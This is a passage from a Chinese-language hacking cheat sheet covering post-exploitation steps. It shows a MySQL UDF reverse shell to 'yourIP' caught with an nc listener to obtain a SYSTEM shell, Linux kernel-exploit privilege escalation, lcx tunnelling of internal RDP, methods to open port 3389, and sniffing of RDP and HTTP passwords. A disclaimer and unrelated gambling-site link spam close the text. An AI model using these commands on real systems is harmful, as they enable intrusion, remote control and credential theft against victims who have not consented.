Mysql> \.c:\,mysql.txt

Mysql>select backshell(“yourIP”,2010);

本地监听你反弹的端口

Nc.exe -vv -l -p 2010

成功后,获得一个system权限的cmdshell(这也是利用了UDF提权)

22、Linux提权

Uname -r 查看系统内核版本信息

找到对应内核版本的exp

上传--编译--运行--ok

23、lck内网转发

内网主机输入命令

Lcx.exe -slave (黑客地址/本机地址)外网IP 外网端口 内网IP 内网端口

例子:Lcx.exe -slave 200.1.1.1 1111 192.168.1.1 3389

(黑客地址/本机地址)外网主机输入命令

Lcx.exe -listen 1111 3389

24、开启3389方法

使用批处理文件开3389

使用sql语句开3389

使用exe开3389

使用vb开3389

25、嗅探3389和http登录的密码

使用的工具有:cain、wires hark

声明笔者初衷用于分享与普及网络安全知识,若读者因此作出任何危害网络安全行为后果自负。

相关推荐

一个日一个葵没有草字头读什么
best365官网苹果下载

一个日一个葵没有草字头读什么

⌛ 09-16 👁️ 8437
陌生的近义词
365bet开户

陌生的近义词

⌛ 09-29 👁️ 8644